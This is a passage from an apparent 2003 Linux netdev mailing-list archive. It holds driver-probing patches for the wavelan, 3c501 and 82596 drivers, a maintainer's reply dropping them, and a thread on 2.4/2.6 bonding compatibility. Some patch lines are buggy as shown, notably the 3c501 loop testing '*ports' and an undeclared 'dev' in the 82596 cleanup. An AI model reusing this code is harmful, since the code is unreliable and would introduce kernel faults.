b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Mon Sep 29 10:19:07 2003 +++ b/drivers/net/wireless/arlan.h Mon Sep 29 10:19:07 2003 @@ -57,12 +57,8 @@ #define SIDUNKNOWN -1 #define radioNodeIdUNKNOWN -1 -#define encryptionKeyUNKNOWN '\0'; #define irqUNKNOWN 0 -#define memUNKNOWN 0 #define debugUNKNOWN 0 -#define probeUNKNOWN 1 -#define numDevicesUNKNOWN 1 #define testMemoryUNKNOWN 1 #define spreadingCodeUNKNOWN 0 #define channelNumberUNKNOWN 0 @@ -81,6 +77,8 @@ #else #define ARLAN_DEBUG(a,b) #endif + +#define ARLAN_SHMEM_SIZE 0x2000 struct arlan_shmem { diff -Nru a/drivers/net/wireless/wavelan.c b/drivers/net/wireless/wavelan.c --- a/drivers/net/wireless/wavelan.c Mon Sep 29 10:19:07 2003 +++ b/drivers/net/wireless/wavelan.c Mon Sep 29 10:19:07 2003 @@ -4091,12 +4091,24 @@ * device structure * (called by wavelan_probe() and via init_module()). */ -static int __init wavelan_config(device * dev) +static int __init wavelan_config(device *dev, unsigned short ioaddr) { - unsigned long ioaddr = dev->base_addr; u8 irq_mask; int irq; net_local *lp; + mac_addr mac; + int err; + + if (!request_region(ioaddr, sizeof(ha_t), "wavelan")) + return -EADDRINUSE; + + err = wv_check_ioaddr(ioaddr, mac); + if (err) + goto out; + + memcpy(dev->dev_addr, mac, 6); + + dev->base_addr = ioaddr; #ifdef DEBUG_CALLBACK_TRACE printk(KERN_DEBUG "%s: ->wavelan_config(dev=0x%x, ioaddr=0x%lx)\n", @@ -4136,25 +4148,18 @@ "%s: wavelan_config(): could not wavelan_map_irq(%d).\n", dev->name, irq_mask); #endif - return -EAGAIN; + err = -EAGAIN; + goto out; } dev->irq = irq; - if (!request_region(ioaddr, sizeof(ha_t), "wavelan")) - return -EBUSY; - dev->mem_start = 0x0000; dev->mem_end = 0x0000; dev->if_port = 0; /* Initialize device structures */ - dev->priv = kmalloc(sizeof(net_local), GFP_KERNEL); - if (dev->priv == NULL) { - release_region(ioaddr, sizeof(ha_t)); - return -ENOMEM; - } - memset(dev->priv, 0x00, sizeof(net_local)); + memset(dev->priv, 0, sizeof(net_local)); lp = (net_local *) dev->priv; /* Back link to the device structure. */ @@ -4172,12 +4177,6 @@ /* Init spinlock */ spin_lock_init(&lp->spinlock); - /* - * Fill in the fields of the device structure - * with generic Ethernet values. - */ - ether_setup(dev); - SET_MODULE_OWNER(dev); dev->open = wavelan_open; dev->stop = wavelan_close; @@ -4204,6 +4203,9 @@ printk(KERN_DEBUG "%s: <-wavelan_config()\n", dev->name); #endif return 0; +out: + release_region(ioaddr, sizeof(ha_t)); + return err; } /*------------------------------------------------------------------*/ @@ -4214,19 +4216,13 @@ * We follow the example in drivers/net/ne.c. * (called in "Space.c") */ -int __init wavelan_probe(device * dev) +struct net_device * __init wavelan_probe(int unit) { + struct net_device *dev; short base_addr; - mac_addr mac; /* MAC address (check existence of WaveLAN) */ + int def_irq; int i; - int r; - -#ifdef DEBUG_CALLBACK_TRACE - printk(KERN_DEBUG - "%s: ->wavelan_probe(dev=0x%x (base_addr=0x%x))\n", - dev->name, (unsigned int) dev, - (unsigned int) dev->base_addr); -#endif + int r = 0; #ifdef STRUCT_CHECK if (wv_struct_check() != (char *) NULL) { @@ -4237,8 +4233,20 @@ } #endif /* STRUCT_CHECK */ - /* Check the value of the command line parameter for base address. */ + dev = alloc_etherdev(sizeof(net_local)); + if (!dev) + return ERR_PTR(-ENOMEM); + + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); base_addr = dev->base_addr; + def_irq = dev->irq; + +#ifdef DEBUG_CALLBACK_TRACE + printk(KERN_DEBUG + "%s: ->wavelan_probe(dev=%p (base_addr=0x%x))\n", + dev->name, dev, (unsigned int) dev->base_addr); +#endif /* Don't probe at all. */ if (base_addr < 0) { @@ -4247,16 +4255,9 @@ "%s: wavelan_probe(): invalid base address\n", dev->name); #endif - return -ENXIO; - } - - /* Check a single specified location. */ - if (base_addr > 0x100) { - /* Check if there is something at this base address */ - if ((r = wv_check_ioaddr(base_addr, mac)) == 0) { - memcpy(dev->dev_addr, mac, 6); /* Copy MAC address. */ - r = wavelan_config(dev); - } + r = -ENXIO; + } else if (base_addr > 0x100) { /* Check a single specified location. */ + r = wavelan_config(dev, base_addr); #ifdef DEBUG_CONFIG_INFO if (r != 0) printk(KERN_DEBUG @@ -4267,35 +4268,33 @@ #ifdef DEBUG_CALLBACK_TRACE printk(KERN_DEBUG "%s: <-wavelan_probe()\n", dev->name); #endif - return r; - } - - /* Scan all possible addresses of the WaveLAN hardware. */ - for (i = 0; i < NELS(iobase); i++) { - /* Check whether there is something at this base address. */ - if (wv_check_ioaddr(iobase[i], mac) == 0) { - dev->base_addr = iobase[i]; /* Copy base address. */ - memcpy(dev->dev_addr, mac, 6); /* Copy MAC address. */ - if (wavelan_config(dev) == 0) { + } else { /* Scan all possible addresses of the WaveLAN hardware. */ + for (i = 0; i < NELS(iobase); i++) { + dev->irq = def_irq; + if (wavelan_config(dev, iobase[i]) == 0) { #ifdef DEBUG_CALLBACK_TRACE printk(KERN_DEBUG "%s: <-wavelan_probe()\n", dev->name); #endif - return 0; + break; } } + if (i == NELS(iobase)) + r = -ENODEV; } - - /* We may have touched base_addr. Another driver may not like it. */ - dev->base_addr = base_addr; - -#ifdef DEBUG_CONFIG_INFO - printk(KERN_DEBUG "%s: wavelan_probe(): no device found\n", - dev->name); -#endif - - return -ENODEV; + if (r) + goto out; + r = register_netdev(dev); + if (r) + goto out1; + return dev; +out1: + release_region(dev->base_addr, sizeof(ha_t)); + wavelan_list = wavelan_list->next; +out: + kfree(dev); + return ERR_PTR(r); } /****************************** MODULE ******************************/ @@ -4311,7 +4310,6 @@ */ int init_module(void) { - mac_addr mac; /* MAC address (check WaveLAN existence) */ int ret = -EIO; /* Return error if no cards found */ int i; @@ -4337,38 +4335,28 @@ /* Loop on all possible base addresses. */ i = -1; while ((io[++i] != 0) && (i < NELS(io))) { - /* Check if there is something at this base address. */ - if (wv_check_ioaddr(io[i], mac) == 0) { - device *dev; + struct net_device *dev = alloc_etherdev(sizeof(net_local)); + if (!dev) + break; + memcpy(dev->name, name[i], IFNAMSIZ); /* Copy name */ + dev->base_addr = io[i]; + dev->irq = irq[i]; - /* Create device and set basic arguments. */ - dev = - kmalloc(sizeof(struct net_device), GFP_KERNEL); - if (dev == NULL) { - ret = -ENOMEM; - break; - } - memset(dev, 0x00, sizeof(struct net_device)); - memcpy(dev->name, name[i], IFNAMSIZ); /* Copy name */ - dev->base_addr = io[i]; - dev->irq = irq[i]; - dev->init = &wavelan_config; - memcpy(dev->dev_addr, mac, 6); /* Copy MAC address. */ - - /* Try to create the device. */ + /* Check if there is something at this base address. */ + if (wavelan_config(dev, io[i]) == 0) { if (register_netdev(dev) != 0) { - /* Deallocate everything. */ - /* Note: if dev->priv is mallocated, there is no way to fail. */ - kfree(dev); + release_region(dev->base_addr, sizeof(ha_t)); + wavelan_list = wavelan_list->next; } else { - /* If at least one device OK, we do not fail */ ret = 0; + continue; } - } /* if there is something at the address */ - } /* Loop on all addresses. */ + } + kfree(dev); + } #ifdef DEBUG_CONFIG_ERROR - if (wavelan_list == (net_local *) NULL) + if (!wavelan_list) printk(KERN_WARNING "WaveLAN init_module(): no device found\n"); #endif @@ -4390,7 +4378,7 @@ #endif /* Loop on all devices and release them. */ - while (wavelan_list != (net_local *) NULL) { + while (wavelan_list) { device *dev = wavelan_list->dev; #ifdef DEBUG_CONFIG_INFO @@ -4398,18 +4386,11 @@ "%s: cleanup_module(): removing device at 0x%x\n", dev->name, (unsigned int) dev); #endif - - /* Release the ioport region. */ - release_region(dev->base_addr, sizeof(ha_t)); - - /* Definitely remove the device. */ unregister_netdev(dev); - /* Unlink the device. */ + release_region(dev->base_addr, sizeof(ha_t)); wavelan_list = wavelan_list->next; - /* Free pieces. */ - kfree(dev->priv); free_netdev(dev); } diff -Nru a/drivers/net/wireless/wavelan.p.h b/drivers/net/wireless/wavelan.p.h --- a/drivers/net/wireless/wavelan.p.h Mon Sep 29 10:19:07 2003 +++ b/drivers/net/wireless/wavelan.p.h Mon Sep 29 10:19:07 2003 @@ -656,9 +656,8 @@ static int wavelan_open(device *), /* Open the device. */ wavelan_close(device *), /* Close the device. */ - wavelan_config(device *); /* Configure one device. */ -extern int - wavelan_probe(device *); /* See Space.c. */ + wavelan_config(device *, unsigned short);/* Configure one device. */ +extern struct net_device *wavelan_probe(int unit); /* See Space.c. */ /**************************** VARIABLES ****************************/ --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="10-3c501.patch" Content-Disposition: attachment; filename="10-3c501.patch" Content-Transfer-Encoding: 7bit From viro NE22-3c501 * switched 3c501 to dynamic allocation * 3c501: embedded ->priv * 3c501: fixed clobbering on autoprobe * 3c501: fixed resource leaks on failure exits Additional: * probe correctly when no device present * fix loop forever bug in probing * free_netdev diff -Nru a/drivers/net/3c501.c b/drivers/net/3c501.c --- a/drivers/net/3c501.c Mon Sep 29 10:27:33 2003 +++ b/drivers/net/3c501.c Mon Sep 29 10:27:33 2003 @@ -136,17 +136,14 @@ #include "3c501.h" -/* A zero-terminated list of I/O addresses to be probed. - The 3c501 can be at many locations, but here are the popular ones. */ -static unsigned int netcard_portlist[] __initdata = { - 0x280, 0x300, 0 -}; - - /* * The boilerplate probe code. */ +static int io=0x280; +static int irq=5; +static int mem_start; + /** * el1_probe: - probe for a 3c501 * @dev: The device structure passed in to probe. @@ -160,23 +157,47 @@ * probe and failing to find anything. */ -int __init el1_probe(struct net_device *dev) +struct net_device * __init el1_probe(int unit) { - int i; - int base_addr = dev->base_addr; + struct net_device *dev = alloc_etherdev(sizeof(struct net_local)); + static unsigned ports[] = { 0x280, 0x300, 0}; + unsigned *port; + int err = 0; + + if (!dev) + return ERR_PTR(-ENOMEM); + + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + mem_start = dev->mem_start & 7; + } SET_MODULE_OWNER(dev); - if (base_addr > 0x1ff) /* Check a single specified location. */ - return el1_probe1(dev, base_addr); - else if (base_addr != 0) /* Don't probe at all. */ - return -ENXIO; - - for (i = 0; netcard_portlist[i]; i++) - if (el1_probe1(dev, netcard_portlist[i]) == 0) - return 0; - - return -ENODEV; + if (io > 0x1ff) { /* Check a single specified location. */ + err = el1_probe1(dev, io); + } else if (io != 0) { + err = -ENXIO; /* Don't probe at all. */ + } else { + for (port = ports; *ports && el1_probe1(dev, *ports); port++) + ; + if (!*port) + err = -ENODEV; + } + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, EL1_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } /** @@ -240,6 +261,8 @@ * high. */ + dev->irq = irq; + if (dev->irq < 2) { unsigned long irq_mask; @@ -267,8 +290,8 @@ dev->base_addr = ioaddr; memcpy(dev->dev_addr, station_addr, ETH_ALEN); - if (dev->mem_start & 0xf) - el_debug = dev->mem_start & 0x7; + if (mem_start & 0xf) + el_debug = mem_start & 0x7; if (autoirq) dev->irq = autoirq; @@ -282,17 +305,7 @@ if (el_debug) printk(KERN_DEBUG "%s", version); - /* - * Initialize the device structure. - */ - - dev->priv = kmalloc(sizeof(struct net_local), GFP_KERNEL); - if (dev->priv == NULL) { - release_region(ioaddr, EL1_IO_EXTENT); - return -ENOMEM; - } memset(dev->priv, 0, sizeof(struct net_local)); - lp=dev->priv; spin_lock_init(&lp->lock); @@ -308,13 +321,6 @@ dev->get_stats = &el1_get_stats; dev->set_multicast_list = &set_multicast_list; dev->ethtool_ops = &netdev_ethtool_ops; - - /* - * Setup the generic properties - */ - - ether_setup(dev); - return 0; } @@ -884,14 +890,8 @@ #ifdef MODULE -static struct net_device dev_3c501 = { - .init = el1_probe, - .base_addr = 0x280, - .irq = 5, -}; +static struct net_device *dev_3c501; -static int io=0x280; -static int irq=5; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); MODULE_PARM_DESC(io, "EtherLink I/O base address"); @@ -911,10 +911,9 @@ int init_module(void) { - dev_3c501.irq=irq; - dev_3c501.base_addr=io; - if (register_netdev(&dev_3c501) != 0) - return -EIO; + dev_3c501 = el1_probe(-1); + if (IS_ERR(dev_3c501)) + return PTR_ERR(dev_3c501); return 0; } @@ -927,19 +926,10 @@ void cleanup_module(void) { - unregister_netdev(&dev_3c501); - - /* - * Free up the private structure, or leak memory :-) - */ - - kfree(dev_3c501.priv); - dev_3c501.priv = NULL; /* gets re-allocated by el1_probe1 */ - - /* - * If we don't do this, we can't re-insmod it later. - */ - release_region(dev_3c501.base_addr, EL1_IO_EXTENT); + struct net_device *dev = dev_3c501; + unregister_netdev(dev); + release_region(dev->base_addr, EL1_IO_EXTENT); + free_netdev(dev); } #endif /* MODULE */ diff -Nru a/drivers/net/3c501.h b/drivers/net/3c501.h --- a/drivers/net/3c501.h Mon Sep 29 10:27:33 2003 +++ b/drivers/net/3c501.h Mon Sep 29 10:27:33 2003 @@ -3,7 +3,6 @@ * Index to functions. */ -int el1_probe(struct net_device *dev); static int el1_probe1(struct net_device *dev, int ioaddr); static int el_open(struct net_device *dev); static void el_timeout(struct net_device *dev); diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 10:27:33 2003 +++ b/drivers/net/Space.c Mon Sep 29 10:27:33 2003 @@ -57,7 +57,7 @@ extern int eth16i_probe(struct net_device *); extern int i82596_probe(struct net_device *); extern int ewrk3_probe(struct net_device *); -extern int el1_probe(struct net_device *); +extern struct net_device *el1_probe(int unit); extern struct net_device *wavelan_probe(int unit); extern struct net_device *arlan_probe(int unit); extern struct net_device *el16_probe(int unit); @@ -262,13 +262,13 @@ #if defined(CONFIG_APRICOT) || defined(CONFIG_MVME16x_NET) || defined(CONFIG_BVME6000_NET) /* Intel I82596 */ {i82596_probe, 0}, #endif -#ifdef CONFIG_EL1 /* 3c501 */ - {el1_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_EL1 /* 3c501 */ + {el1_probe, 0}, +#endif #ifdef CONFIG_WAVELAN /* WaveLAN */ {wavelan_probe, 0}, #endif --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0 Content-Type: text/x-diff; name="11-82596.patch" Content-Disposition: attachment; filename="11-82596.patch" Content-Transfer-Encoding: 7bit From viro NE23-82596 * switched 82596 to dynamic allocation * 82596: fixed resource leaks on failure exits Additional: * free_netdev diff -Nru a/drivers/net/82596.c b/drivers/net/82596.c --- a/drivers/net/82596.c Mon Sep 29 10:27:00 2003 +++ b/drivers/net/82596.c Mon Sep 29 10:27:00 2003 @@ -1129,21 +1129,40 @@ printk(" %02X%02X, %s\n", add[12], add[13], str); } -int __init i82596_probe(struct net_device *dev) +static int io = 0x300; +static int irq = 10; + +struct net_device * __init i82596_probe(int unit) { + struct net_device *dev; int i; struct i596_private *lp; char eth_addr[8]; static int probed; + int err; if (probed) - return -ENODEV; + return ERR_PTR(-ENODEV); probed++; + + dev = alloc_etherdev(0); + if (!dev) + return ERR_PTR(-ENOMEM); + + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + } else { + dev->base_addr = io; + dev->irq = irq; + } + #ifdef ENABLE_MVME16x_NET if (MACH_IS_MVME16x) { if (mvme16x_config & MVME16x_CONFIG_NO_ETHERNET) { printk(KERN_NOTICE "Ethernet probe disabled - chip not present\n"); - return -ENODEV; + err = -ENODEV; + goto out; } memcpy(eth_addr, (void *) 0xfffc1f2c, 6); /* YUCK! Get addr from NOVRAM */ dev->base_addr = MVME_I596_BASE; @@ -1174,7 +1193,8 @@ if (!request_region(ioaddr, I596_TOTAL_SIZE, dev->name)) { printk(KERN_ERR "82596: IO address 0x%04x in use\n", ioaddr); - return -EBUSY; + err = -EBUSY; + goto out; } for (i = 0; i < 8; i++) { @@ -1190,8 +1210,8 @@ if ((checksum % 0x100) || (memcmp(eth_addr, "\x00\x00\x49", 3) != 0)) { - release_region(ioaddr, I596_TOTAL_SIZE); - return -ENODEV; + err = -ENODEV; + goto out1; } dev->base_addr = ioaddr; @@ -1200,13 +1220,10 @@ #endif dev->mem_start = (int)__get_free_pages(GFP_ATOMIC, 0); if (!dev->mem_start) { -#ifdef ENABLE_APRICOT - release_region(dev->base_addr, I596_TOTAL_SIZE); -#endif - return -ENOMEM; + err = -ENOMEM; + goto out1; } - ether_setup(dev); DEB(DEB_PROBE,printk(KERN_INFO "%s: 82596 at %#3lx,", dev->name, dev->base_addr)); for (i = 0; i < 6; i++) @@ -1244,7 +1261,26 @@ lp->scb.rfd = I596_NULL; lp->lock = SPIN_LOCK_UNLOCKED; - return 0; + err = register_netdev(dev); + if (err) + goto out2; + return dev; +out2: +#ifdef __mc68000__ + /* XXX This assumes default cache mode to be IOMAP_FULL_CACHING, + * XXX which may be invalid (CONFIG_060_WRITETHROUGH) + */ + kernel_set_cachemode((void *)(dev->mem_start), 4096, + IOMAP_FULL_CACHING); +#endif + free_page ((u32)(dev->mem_start)); +out1: +#ifdef ENABLE_APRICOT + release_region(dev->base_addr, I596_TOTAL_SIZE); +#endif +out: + free_netdev(dev); + return ERR_PTR(err); } static irqreturn_t i596_interrupt(int irq, void *dev_id, struct pt_regs *regs) @@ -1532,11 +1568,9 @@ } #ifdef MODULE -static struct net_device dev_82596 = { .init = i82596_probe }; +static struct net_device *dev_82596; #ifdef ENABLE_APRICOT -static int io = 0x300; -static int irq = 10; MODULE_PARM(irq, "i"); MODULE_PARM_DESC(irq, "Apricot IRQ number"); #endif @@ -1547,34 +1581,31 @@ int init_module(void) { -#ifdef ENABLE_APRICOT - dev_82596.base_addr = io; - dev_82596.irq = irq; -#endif if (debug >= 0) i596_debug = debug; - if (register_netdev(&dev_82596) != 0) - return -EIO; + dev_82596 = i82596_probe(-1); + if (IS_ERR(dev_82596)) + return PTR_ERR(dev_82596); return 0; } void cleanup_module(void) { - unregister_netdev(&dev_82596); + unregister_netdev(dev_82596); #ifdef __mc68000__ /* XXX This assumes default cache mode to be IOMAP_FULL_CACHING, * XXX which may be invalid (CONFIG_060_WRITETHROUGH) */ - kernel_set_cachemode((void *)(dev_82596.mem_start), 4096, + kernel_set_cachemode((void *)(dev_82596->mem_start), 4096, IOMAP_FULL_CACHING); #endif - free_page ((u32)(dev_82596.mem_start)); - dev_82596.priv = NULL; + free_page ((u32)(dev_82596->mem_start)); #ifdef ENABLE_APRICOT /* If we don't do this, we can't re-insmod it later. */ - release_region(dev_82596.base_addr, I596_TOTAL_SIZE); + release_region(dev_82596->base_addr, I596_TOTAL_SIZE); #endif + free_netdev(dev); } #endif /* MODULE */ diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 29 10:27:00 2003 +++ b/drivers/net/Space.c Mon Sep 29 10:27:00 2003 @@ -55,7 +55,7 @@ extern int at1700_probe(struct net_device *); extern int fmv18x_probe(struct net_device *); extern int eth16i_probe(struct net_device *); -extern int i82596_probe(struct net_device *); +extern struct net_device *i82596_probe(int unit); extern int ewrk3_probe(struct net_device *); extern struct net_device *el1_probe(int unit); extern struct net_device *wavelan_probe(int unit); @@ -259,13 +259,13 @@ #ifdef CONFIG_EWRK3 /* DEC EtherWORKS 3 */ {ewrk3_probe, 0}, #endif -#if defined(CONFIG_APRICOT) || defined(CONFIG_MVME16x_NET) || defined(CONFIG_BVME6000_NET) /* Intel I82596 */ - {i82596_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#if defined(CONFIG_APRICOT) || defined(CONFIG_MVME16x_NET) || defined(CONFIG_BVME6000_NET) /* Intel I82596 */ + {i82596_probe, 0}, +#endif #ifdef CONFIG_EL1 /* 3c501 */ {el1_probe, 0}, #endif --Multipart_Mon__29_Sep_2003_15:11:50_-0700_084b9cc0-- From jgarzik@pobox.com Mon Sep 29 15:35:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 15:35:44 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TMZAFx028882 for ; Mon, 29 Sep 2003 15:35:11 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33616 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A46bg-0007TO-Jq; Mon, 29 Sep 2003 23:35:04 +0100 Message-ID: <3F78B38B.2090309@pobox.com> Date: Mon, 29 Sep 2003 18:34:51 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] device probing changes References: <20030929151150.7331b603.shemminger@osdl.org> In-Reply-To: <20030929151150.7331b603.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev dropped -- please re-spam me with one patch per email From ctindel@calma.pair.com Mon Sep 29 16:25:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 16:26:13 -0700 (PDT) Received: from calma.pair.com (calma.pair.com [209.68.1.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TNPYFx000421 for ; Mon, 29 Sep 2003 16:25:35 -0700 Received: (qmail 94562 invoked by uid 3059); 29 Sep 2003 23:25:34 -0000 Date: Mon, 29 Sep 2003 19:25:34 -0400 From: "Chad N. Tindel" To: netdev@oss.sgi.com Subject: Re: [bonding] compatibilty issues Message-ID: <20030929232534.GB93323@calma.pair.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="k+w/mQv8wyuph6w0" Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chad@tindel.net Precedence: bulk X-list: netdev --k+w/mQv8wyuph6w0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Forwarding, as I forgot to include the list on the original distribution. Chad --k+w/mQv8wyuph6w0 Content-Type: message/rfc822 Content-Disposition: inline Date: Mon, 29 Sep 2003 19:24:44 -0400 From: "Chad N. Tindel" To: Jeff Garzik Cc: Jay Vosburgh , "Hen, Shmulik" , "Noam, Amir" , "Mendelson, Tsippy" , "Marom, Noam" Subject: Re: [bonding] compatibilty issues Message-ID: <20030929232444.GA93323@calma.pair.com> References: <20030929185202.GB31128@calma.pair.com> <200309291925.h8TJPRab025832@death.ibm.com> <20030929193208.GB24740@gtf.org> <20030929215842.GA77637@calma.pair.com> <3F78B4E7.2070205@pobox.com> <20030929230607.GA88685@calma.pair.com> <3F78BC9D.3090103@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F78BC9D.3090103@pobox.com> User-Agent: Mutt/1.4i > Chad N. Tindel wrote: > >2. Once a user upgrades to 2.6, they forego all hope of forward > >compatibility. > >They may be required to upgrade ifenslave. > > Not correct. When I am testing patches people send to me, I am > literally booting back and forth into 2.4 and 2.6 on an hour-by-hour > basis. 2.4 ifenslave must continue to work under a 2.6 kernel. This directly contradicts what I was told by David Miller when we first integrated bonding into 2.4 back in the 2.4.9 timeframe. So, what I would like from you then is a statement saying for how long this support must continue. Does the 2.8 ifenslave have to work for 2.4? Or is it simply an off by one problem? That is, 2.8 ifenslave will have to work for a 2.6 kernel as well, but no more? Are all the other utilities having to do this too? raidhotadd will continue to work both for 2.4 and 2.6? > Rusty tried this with module-init-tools, and it's a yucky solution. For > this case, Red Hat updated the modutils package to support both 2.4 and > 2.6 kernels out of the box, same userland. I agree its a yucky solution, but its better than saying that the Linux Kernel 4.6 version of ifenslave has to work for all prior versions of bonding (2.4, 2.6, 3.0, 3.8, 4.0 etc..). And it also seems better from a code stability point of view too... I mean, if all we had some was scripting nastiness and it meant that because our code in newer kernels was simpler, leaner, easier to work with and debug... that would seem like the proper tradeoff to make. No? Chad --k+w/mQv8wyuph6w0-- From jgarzik@pobox.com Mon Sep 29 16:38:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 16:38:58 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TNcNFx001930 for ; Mon, 29 Sep 2003 16:38:24 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33639 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A47aw-00084w-Pd; Tue, 30 Sep 2003 00:38:22 +0100 Message-ID: <3F78C262.30109@pobox.com> Date: Mon, 29 Sep 2003 19:38:10 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Chad N. Tindel" CC: netdev@oss.sgi.com Subject: Re: [bonding] compatibilty issues References: <20030929232534.GB93323@calma.pair.com> In-Reply-To: <20030929232534.GB93323@calma.pair.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Chad N. Tindel wrote: >>Not correct. When I am testing patches people send to me, I am >>literally booting back and forth into 2.4 and 2.6 on an hour-by-hour >>basis. 2.4 ifenslave must continue to work under a 2.6 kernel. > > > This directly contradicts what I was told by David Miller when we first > integrated bonding into 2.4 back in the 2.4.9 timeframe. So, what I would > like from you then is a statement saying for how long this support must > continue. Does the 2.8 ifenslave have to work for 2.4? Or is it simply > an off by one problem? That is, 2.8 ifenslave will have to work for > a 2.6 kernel as well, but no more? Well, if that's David's sentiment, then I respectfully disagree with that. You need to be conscious of what installations are out there. Most kernel maintainers, myself and David included, are currently maintaining both 2.4 and 2.6 support because that's what people are using. Eventually time will pass, and 2.4 will (essentially) go unmaintained, and the kernel maintainers will focus their attention on 2.6 stable series, and development for 2.7. At the user end of things, people are for the most part running 2.4.x-based stuff, with perhaps some early adventures into 2.6. So you can see the _common_ case for the near future is supporting both 2.4 and 2.6 out of the box. I'm realistic. I'm not advocating that you support 2.2 through 2.8 kernels in the same binary. What I'm talking about is common sense -- you see 2.4 and 2.6 mixing in the field. As I said, that's the common case for the near future. The common case should be supported. :) Jeff From shemminger@osdl.org Mon Sep 29 17:07:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 17:07:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U073Fx003355 for ; Mon, 29 Sep 2003 17:07:04 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8U06X100371; Mon, 29 Sep 2003 17:06:33 -0700 Date: Mon, 29 Sep 2003 17:06:06 -0700 From: Stephen Hemminger Cc: irda-users@lists.sourceforge.net, "David S. Miller" , netdev@oss.sgi.com Subject: [PATCH] irda 2.6.0-test6 Message-Id: <20030929170606.09a2a767.shemminger@osdl.org> In-Reply-To: <20030929175938.GA11698@bougret.hpl.hp.com> References: <20030929175938.GA11698@bougret.hpl.hp.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Here is a patch for all the pieces that are missing in 2.6.0-test6, it contains all the pieces that didn't get picked up from my earlier patches. irport: * 'ret' set but only used in test. * use alloc_netdev and dev->priv * error unwind fixup sa1100: * need to call free_netdev (no destructor anymore) smsc_ircc: * use alloc_netdev and dev->priv irda_device: * no destructor, let devices use device before freeing. This should fix the rmmod issues for irda in 2.6.0-test6 and matches what Jean tested. diff -urN -X dontdiff linux-2.5/drivers/net/irda/irport.c linux-2.5-net/drivers/net/irda/irport.c --- linux-2.5/drivers/net/irda/irport.c 2003-06-05 10:04:37.000000000 -0700 +++ linux-2.5-net/drivers/net/irda/irport.c 2003-09-19 23:09:40.000000000 -0700 @@ -78,7 +78,6 @@ static inline int irport_write(int iobase, int fifo_size, __u8 *buf, int len); static inline void irport_receive(struct irport_cb *self); -static int irport_net_init(struct net_device *dev); static int irport_net_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static inline int irport_is_receiving(struct irport_cb *self); @@ -136,30 +135,29 @@ { struct net_device 